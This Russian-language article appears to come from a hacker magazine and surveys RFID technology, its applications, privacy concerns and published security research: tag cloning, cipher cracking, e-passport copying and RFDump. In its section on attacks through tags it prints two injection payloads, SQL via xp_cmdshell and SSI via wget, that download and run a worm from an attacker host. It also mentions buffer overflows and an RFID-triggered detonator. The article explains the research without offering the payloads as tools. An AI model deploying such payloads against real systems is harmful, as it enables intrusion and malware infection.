Технология RFID

[neupkev]

Технология RFID глазами хакера: от домофонных ключей до чипов для имплантации человеку



Технология RFID


Краткое описание технологии RFID. Вообще, RFID или Radio Frequency IDentification (радиочастотная идентификация) — это метод удаленного хранения и получения информации путем передачи радиосигналов с помощью устройств, называемых RFID-метками. История появления данной технологии восходит к первой половине XX столетия. Британские ВВС еще в начале Второй мировой использовали подобную технологию, устанавливая на самолеты устройства радиочастотной идентификации, позволяющие эффективно отличать свои авиационные юниты от самолетов противника. Есть также сведения, что в СССР в 50-х годах похожая технология использовалась для шпионажа. С 60-х годов начинаются исследования о возможности применения RFID в гражданских целях, а первая радиометка, аналогичная применяемым сегодня, была создана в научной лаборатории Лос Аламос в 1973 году. Принцип работы RFID-систем весьма прост. Данные системы включают в себя два основных компонента: считыватель (ридер) и идентификатор (метка, чип, тэг). Ридер излучает электромагнитную энергию. Метка улавливает этот сигнал и передает ответный, который уже принимается антенной ридера. Внутри карты или брелка содержится антенна в виде катушки тонкого провода.



По своему типу системы RFID подразделяются на пассивные и интерактивные. В пассивной системе излучение считывателя находится постоянно во времени (то есть не модулировано) и служит только источником питания для радиометки, которая собственного источника энергии не имеет. Получив энергию от ридера, метка включается и передает сигнал, который принимается считывателем. Вышеописанным способом работает большинство систем управления доступом, где необходимо только получить серийный номер идентификатора.



Более продвинутые RFID-системы используют интерактивный режим работы. Ридер в таких системах излучает модулированные колебания, то есть формирует запрос. RFID-метка дешифрирует запрос, обрабатывает его, и, если это необходимо, формирует соответствующий ответ. Подобные системы необходимы, например, для работы с товарами, маркированными радиометками. Дело в том, что если система пассивная, то при попадании одновременно нескольких меток под излучение ридера их сигналы накладываются друг на друга, и возникает коллизия. Интерактивные же системы снабжены механизмом антиколлизии. Интерактивные RFID-тэги часто имеют встроенную батарею, заряда которой может хватить на несколько лет. Интерактивные метки с собственным источником питания называют активными, а те, что без него, — полупассивными.

RFID-метки можно подразделить на несколько категорий. Во-первых, по используемому диапазону радиочастот на:

низкочастотные (125 или 134,2 КГц);
высокочастотные (13,56 МГц);
UHF, то есть ультравысокочастотные (868-956 МГц);
микроволновые (2,45 ГГц).

Во-вторых, по размерам встроенной памяти, которая может быть от 4 байт до 4 Кб. Кроме того, метка может иметь память только для чтения или же с возможностью дозаписи и перезаписи информации. Существует несколько стандартов RFID-меток, сформировавшихся на сегодняшний день. Важным свойством радиометки является и ее размер, который может составлять всего 0.4х0.4 мм для пассивных меток, в то время как активные метки имеют размер с монету.



Применение: за и против


Применяться RFID может в самых разных областях. Во-первых, СКУД, то есть системы контроля и управлением доступом. Исторически это было первым применением технологии RFID. Сегодня доступ в офис или дом с помощью proximity-карты со встроенным радиочипом — уже вполне обычное дело. Большинство подобных систем используют пассивные метки и работают в низкочастотном диапазоне, хотя в последнее время все чаще встречаются интерактивные системы на частотах 13,56 МГц. Реально новое направление в этой области - создание RFID-имплантатов для людей. Первый эксперимент такого рода был проведен еще в 1988, а сегодня компания Applied Digital Solution предлагает любому желающему имплантировать себе в руку свою разработку - VeriChip.



Во-вторых, это контроль над перевозкой грузов и конкретных товаров, их складской учет. Представь только, как просто будет проходить ревизия на складах или в супермаркетах: достаточно пройтись с ридером вдоль полок с товарами — и все автоматически будет переучтено в БД товаров. Существует стандарт RFID называемый EPC (electronic product code), являющийся аналогом штрихкодов. Специалисты считают, что в ближайшее десятилетие RFID-метка на каждом отдельном товаре станет таким же обычным явлением, как сегодня штрихкод.



Еще одна очень важная область применения RFID - это электронные документы. Государства многих стран, в том числе и России, планируют уже в самое ближайшее время начать встраивать RFID-метки в паспорта своих граждан. При этом в память имплантированной в паспорт метки будут заноситься не только обычные данные владельца (ФИО, год рождения и т.д.), но и биометрические признаки, а также цветное фото.



Как это всегда бывает, у технологии, подобной RFID, появляется множество сторонников и противников. Несмотря на все удобства, привносимые применением RFID, у многих людей ее внедрение вызывает большие опасения. И не зря. Во-первых, радиометки по своей сути являются радиомаяками - ведь именно в этом качестве их использовала советская разведка в 50-х. И незаконное слежение еще не единственное, что вызывает опасения. Большие опасения вызывает безопасность самой технологии. Сам Брюс Шнайер на планы оснащения паспортов RFID-метками, заявил, что «это чистая угроза национальной безопасности».



Конечно, такую важную технологию, как RFID, не могли оставить без внимания хакеры и различные исследователи информационной безопасности. Первое, на чем хотелось бы заострить внимание, — это проблема, связанная с вмешательством в личную жизнь человека, которая возможно будет иметь место в самом обозримом будущем. Только представь, что государство или же крупные корпорации будут иметь под контролем тысячи считывателей радиометок, расположенных на входе в метро, супермаркет или просто посреди улиц. Такие считыватели способны накапливать информацию о нашем перемещении, о том, какие товары мы только что приобрели в магазине. Конечно, сегодня это звучит несколько бредово, но пройдет, возможно, менее десятка лет, и наступит время, когда каждый из нас добровольно или же принудительно будет всегда носить с собой имплантированный под кожу идентификационный чип. Напоминает кино в жанре киберпанк? Как бы то ни было, все идет именно к этому.



RFID и хакеры


Австралийские исследователи компьютерной безопасности в апреле этого года опубликовали работу, в которой описывается возможность препятствования считыванию информации RFID-ридером с метки. В их планах — создание устройства, которое не позволит считывать информацию с RFID-меток без ведома их владельца. Они использовали метод, напоминающий DoS-атаку: радиоэфир захламляется огромным множеством сигналов, имитирующих сигналы меток. RFID-ридеры первого поколения, то есть пассивные, не имеют возможности считать данные с карты из-за вышеупомянутого явления - коллизии. Интересно, что более продвинутые интерактивные ридеры, как показали опыты, также напрочь уходят в даун.



Но с созданием первого анти-RFID гаджета австралийцев опередили голландцы. В начале апреля на околокомпьютерных сайтах запестрила новость о разработанном сотрудниками Свободного университета Амстердама устройства, которое препятствует чтению RFID-меток и информирует владельца о подобных попытках. Данный девайс разрабатывался в рамках проекта RFID Guardian (http://www.rfidguardian.org) группой исследователей под руководством профессора Эндрю Таненбаума (Andrew Tanenbaum), который, кроме этого, занимается еще рядом проектов, посвященных безопасности RFID-систем. Разработанное голландцами устройство представляет собой КПК с 550Mhz процессором и 64 Мб памяти, оборудованный RFID-ридером и необходимым ПО.



Настоящие хакеры смотрели на проблему несколько иначе. Двое немецких компьютерщиков MiniMe и Mahajivana, состоящие в рядах «Хаоса», решили, что лучший способ обезопасить себя от угроз, которые может принести технология RFID, — это простое уничтожение RFID-меток. Наиболее действенным способом убийства радиометок, обнаруженными хакерами, оказалось помещение их на короткое время в микроволновку. Но далеко не любой предмет со встроенным RFID-чипом засунешь в микроволновую печь, поэтому был разработан девайс, названный RFID-Zapper. Создатели устройства решили, что стоимость его должна быть минимальна, поэтому использовали в качестве основы одноразовый фотоаппарат-мыльницу, который сможет раздобыть любой желающий. После некоторых усовершенствований вспышка такого фотоаппарата научилась создавать сильное электромагнитное поле, наповал убивающее пассивные радиометки. Правда, пока только 13,56-мегагерцовые, но создатели Zapper'а обещают дальнейшее развитие проекта. RFID-Zapper вызвал у всех большой интерес на состоявшемся некоторое время назад европейском 22-м слете хакеров CCC.



Клонирование


Кстати, пресса, сама того не подозревая, привлекает все больше хакеров к изучению RFID. Наибольшую шумиху среди техногиков вызвала недавняя статья американской журналистки Эннели Ньютц (Annalee Newitz) под названием The RFID Hacking Underground, опубликованная в майском выпуске Wired (http://www.wired.com/wired/archive/14.05/rfid.html). Впервые о RFID-хаке говорилось как о новом направлении хакерства. Одним из «героев» этой статьи стал 23-летний студент Джонатан Вестхьюз (Jonathan Westhues) — возможно, первый из хакеров, сконструировавший устройство, способное клонировать RFID-метки. Это устройство, прозванное им proxmark, впервые было собрано Джонатаном еще в 2003 году. С помощью proxmark'а, который легко умещался в кармане, Вестхьюз мог, приблизившись на достаточно близкое к человеку расстояние, незаметно клонировать, имеющуюся у того proximity-карту. И получить, таким образом, доступ туда, где его явно быть не должно.



На протяжении всего этого времени Джонатан совершенствовал proxmark, и устройство уже получило третье рождение в виде proxmark3. Теперь оно обрело множество новых функций и умеет работать уже с большинством 125KHz и некоторыми 13,56MHz RFID-метками. Не так давно хакеру удалось клонировать даже VeriChip, который его производители преподносят как наиболее надежный способ уберечь данные, касающиеся идентификации пользователя. На состоявшейся этим летом конференции HOPE (Hackers On Planet Earth) Number Six Вестхьюз продемонстрировал, чего на самом деле стоит разрекламированный VeriChip. Не обошлось там и без участия Эннели, которая, вероятно, чтобы привлечь большее внимание к данному мероприятию, ассистировала Джонатану с имплантированным в руку VeriChip'ом. Судя по тому, сколько сообщений об этом «взломе» появилось в инете, представление им удалось .



Если тебя заинтересовал девайс Вестхьюза, то тебе необходимо посетить его сайт: http://cq.cx. Там ты найдешь все наработки Джонатана по конструированию RFID-клонеров и даже сможешь скачать архивчик со всеми схемами, описаниями и ПО, необходимыми для конструирования proxmark3.



Конечно, клонировать интерактивную RFID-метку — задача сложная, поэтому, думаю, в скором времени системы идентификации с пассивными метками уйдут в прошлое. Преимущество интерактивных систем, помимо всего прочего, — это возможность использования шифрования для защиты информации. На самом деле такие системы уже давно не редкость — к примеру, автомобильные иммобилайзеры, набирающие все большую популярность, или те карты, что используются в московском метрополитене еще с 1998 года. Подобную же систему использовала компания ExxonMobil с 1997 года.



Проблемы шифрования


ExxonMobil - крупнейшая нефтяная корпорация, владеющая сетью бензозаправочных станций в США. Она внедрила на своих заправочных станциях инновационную платежную систему SpeedPass: оплата осуществлялась с помощью брелока с RFID-чипом внутри, на котором записаны данные о платежном счете его владельца в системе SpeedPass. Трое исследователей компьютерной безопасности — Стив Боно (Steve Bono), Мэтью Грин (Matthew Green) и Адам Стаблфилд (Adam Stubblefield) — конкретно взялись за изучение этой системы. RFID-чипы, использовавшиеся в этой системе, представляли собой разработку Texas Instruments под названием Digital Signature Transponder (DST).



DST - это полупассивная радиометка с системой 40-битного шифрования. Хотя 40-битное шифрование сегодня достаточно легко вскрываются брутфорсом. Сложность вскрытия ключа заключалась в том, что сам алгоритм шифрования взломщикам был неизвестен. Но парням удалось восстановить его, используя различные криптоаналитические методы. Затем они собрали мощный кластер, который смог расшифровывать по 5 ключей менее чем за 2 часа. Позже было сконструировано устройство, эмулирующее работу DST, которое было проверено в действии на одной из станций ExxonMobil. После того как представители ExxonMobil ознакомились с результатами этого исследования (http://rfidanalysis.org), они заявили в прессе, что на практике все это не реализуемо, так как испытание «лабораторное». Но компания все же решила перестраховаться и перейти на чипы с 128-битным шифрованием.



Посмотрим, как обстоит дело с криптозащитой электронных документов. Нидерландские спецы по информационной безопасности из фирмы Riscure первыми взломали прототип электронного паспорта, который собираются вводить в Евросоюзе. Удалось им это вследствие достаточно простого алгоритма, примененного для шифрования личных данных владельца. Такая информация, как день рождения владельца паспорта, серийный номер, срок окончания его действия, легко предсказуема, и помогла «взломщикам» расшифровать остальное содержимое памяти радиометки.



Окончательно добил все представления о самой возможности безопасной RFID известнейший криптолог, профессор института Вейсмана Ади Шамир (Adi Shamir). Исследования ученый проводил на RFID-метках стандарта EPC (один из наиболее перспективных стандартов на сегодняшний день), работающих в UHF-диапазоне частот и использующих 8-ми и 32-битное шифрование данных. Для подбора ключа использовалась направленная антенна и цифровой осциллограф. Выяснилось, что при посылке чипу неверного бита ключа шифра энергопотребление RFID-чипа несколько возрастает, что может быть зафиксировано несложной аппаратурой. Таким образом, возможен взлом даже достаточно длинных ключей, причем в весьма короткое время. И это уже не проблема шифрования, а скорее проблема недоработки самой технологии RFID. Шамир представил также интересную идею о возможности создания девайса для расшифровки данных с UHF RFID-тэгов из обычного мобильника путем замены его ПО. Ведь GSM-мобилы и UHF-радиометки могут работать в одних и тех же частотах. Буду с нетерпением ждать, что получится из этой затеи.



Подмена содержимого памяти RFID-меток


Не спасает шифрование паспортов и от их клонирования. На завершившейся недавно хакерской конференции Defcon немецкий эксперт инфосека Лукас Грюнвальд (Lukas Grunwald) продемонстрировал, как содержимое электронного паспорта может быть легко перенесено на любую другую радиометку. При этом Лукас использовал разработанную вместе с его коллегой Борисом Вольфом (Boris Wolf) еще пару лет назад прогу RFDump , которая умеет считывать, редактировать, записывать (если это возможно) данные RFID-меток. Первой версией данной проги был простенький perl-скрипт, теперь же RFDump представляет собой удобную тулзу, распространяющуюся под лицензией GPL. Существуют пока только версии для пингвина. Для работы проги необходим RFID-ридер ACG Multi-Tag Reader или ему подобный. Грюнвальд вносит в софтину время от времени кое-какие поправки. Например, сейчас она позволяет задействовать в метке счетчик считываний (функция cookie), планируется введение возможности снятия шифрования данных меток с помощью брутфорса или атаки по словарю, а также проверка на ключи, выставляемые «по умолчанию». Скачать RFDump можно на сайте разработчиков: http://www.rf-dump.org.



После создания своей проги Лукас и Борис занялись активным изучением возможности взлома различных RFID-систем. Первым делом они изучили RFID-систему местного университетского кафе, где данные о сумме на счете клиента хранились прямо на карточке. Питание там стало для них бесплатным . Дальше — больше: они останавливались в гостиницах и отелях, в которых для входа в номер использовались proximity-карты. Интересный факт: ни одна из десяти изученных ими RFID-система из не имела шифрования, и Грюнвальд после изучения 2-3 карт мог создать мастер-карту, открывающую любую дверь. Но и системы с шифрованием очень просто обойти: либо ключ подбирался простым перебором, либо стоял выставленный производителем по умолчанию. Уязвимыми оказались и системы супермаркетов, где начали применять RFID как альтернативу штрихкодам. Хакеры получили возможность с помощью карманных компьютеров поменять метки дорогостоящих товарах на менее дорогие, «спасая» таким образом свою наличность. По словам Грюнвальда, 3/4 всех изученных им RFID-систем оказались так или иначе уязвимы.
Атаки через RFID-метки

Но несанкционированное чтение и клонирование меток — это еще не все. Редактирование содержимого RFID-метки может позволить злоумышленнику осуществить самые разнообразные атаки на компьютеры, работающие с RFID. Уязвимыми местами RFID-систем могут стать базы данных, которые могут быть подвержены sql-инъекциям; web-интерфейсы - здесь возможны различные виды внедрения вредоносного кода; не исключена возможность атак типа buffer overflow.



Наиболее просто реализуема атака типа sql-injection. Допустим, приложение, работающее с RFID, записывает на метку какую-то информацию, например, если это коробка с товаром, говорящая о ее содержимом - «beer». Вот пример атаки на win-систему, уязвимую к sql-inj: хакер изменяет значение тэга на «beer'; EXEC Master..xp_cmdshell cd \Windows\Temp & tftp -i <здесь ip> GET worm.exe & worm.exe;» и загружает (конечно, если машина подключена к инету) таким образом червя в систему с БД товаров при считывании информации с метки.



Аналогично происходят атаки на системы, имеющие интерфейс, основанный на веб-компонентах. К примеру, внедрение через метку кода «<!--#exec cmd="wget http://ip/worm -O /tmp/worm; chmod +x /tmp/worm; /tmp/worm "-->» в уязвимую linux-систему с SSI повторяет вышеописанную атаку на винду. Как ты уже понял, эти атаки практически ничем не отличаются от аналогичных атак на сайты в инете.



Еще пример. Допустим, в RFID-системе используются только метки с объемом памяти 128 байт. Программист, писавший приложение, обрабатывающее содержимое тэгов, поленился сделать проверку на длину этого самого содержимого. В итоге имеется возможность для переполнения буфера, ведь хитрый хакер может подсунуть системе метку с большим количеством памяти, чем 128 байт, внедрив туда и шелл-код.



Вышеприведенные сценарии атак я позаимствовал на сайте www.rfidvirus.org. Там выкладываются результаты исследований уже упомянутой в статье группы ученых во главе с профессором Э.Таненбаумом. Главной целью их исследований было создание вируса, распространяющегося через RFID. И им это удалось: первый концептуальный вирус, не получивший названия, был создан в лаборатории амстердамского университета. Вирус распространяется через RFID-метки и заражает БД систем, использующих RFID.



Конечно, далеко не все RFID-системы подвержены подобного рода атакам. Таненбаум в своих исследованиях использовал не конкретную реализацию какой-то RFID-системы, а созданную для опытов лабораторную модель с модульной архитектурой, позволяющей изучать возможность атак на различные БД, используемых в реальных системах. И хотя производители RFID-систем подвергли критике исследования голландцев, думаю, с повсеместным распространением подобных систем окажется, что немалая их часть будет уязвима к разного рода хакерским атакам.



Info


Сегодня к уязвимостям технологии RFID, кроме хакеров и исследователей компьютерной безопасности, проявляют интерес и представители криминального мира: разного рода мошенники, автоугонщики, террористы. Пытаясь привлечь внимание к опасностям, скрывающимся в использовании этой прогрессивной технологии, хакеры даже продемонстрировали возможность использования RFID-сканера в качестве детонатора взрывного устройства, реагирующего на метку, встроенную в паспорт человека, которого необходимо ликвидировать.



http://www.rfidguardian.org - сайт проекта RFID-Guardian

http://www.rfidvirus.org - здесь можно найти информацию о возможности распространения разного рода malware-кода через RFID, наработки по написанию RFID-вирусов и троев.

http://cq.cx - сайт эксперта по безопасности RFID-систем Джонатана Вестхьюза.

http://rfidanalysis.org - проект по взлому DST.

http://www.rf-dump.org - сайт создателей RFDump'а.